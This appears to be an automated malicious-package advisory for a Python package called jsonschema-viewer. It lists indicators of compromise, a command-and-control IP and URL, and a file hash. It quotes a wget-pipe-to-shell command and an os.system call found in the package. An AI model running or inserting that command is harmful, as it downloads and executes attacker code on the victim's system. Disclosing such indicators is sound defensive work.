GCVE-110-OSM-2026-6527

Malicious package detected. Behaviors: code execution, network activity. ENTRY src/jsonschema_viewer/main.py (console-script: jsonschema-viewer=jsonschema_viewer.main:main) DESTINATION - ipv4: 49.232.169.67 (c2, plaintext) - urls: http://49.232.169.67:8084/slt||wget (c2, plaintext) - urls: http://49.232.169.67:8084/slt (c2, plaintext) EXFIL - Curl/Wget Pipe to Shell in src/jsonschema_viewer/main.py: "wget -T180 -q http://49.232.169.67:8084/slt)|sh" - Suspicious Domain in src/jsonschema_viewer/main.py: "http://49.232.169.67" ADDITIONAL FINDINGS - Shell Command Execution in src/jsonschema_viewer/main.py: "os.system(" PAYLOAD FILES src/jsonschema_viewer/main.py INDICATORS (IOCs) - payloadFileHash: ab8d2fd4e6602cc6451343cb19142242fc72bfdd7d84cfe7d7bcf871abea455e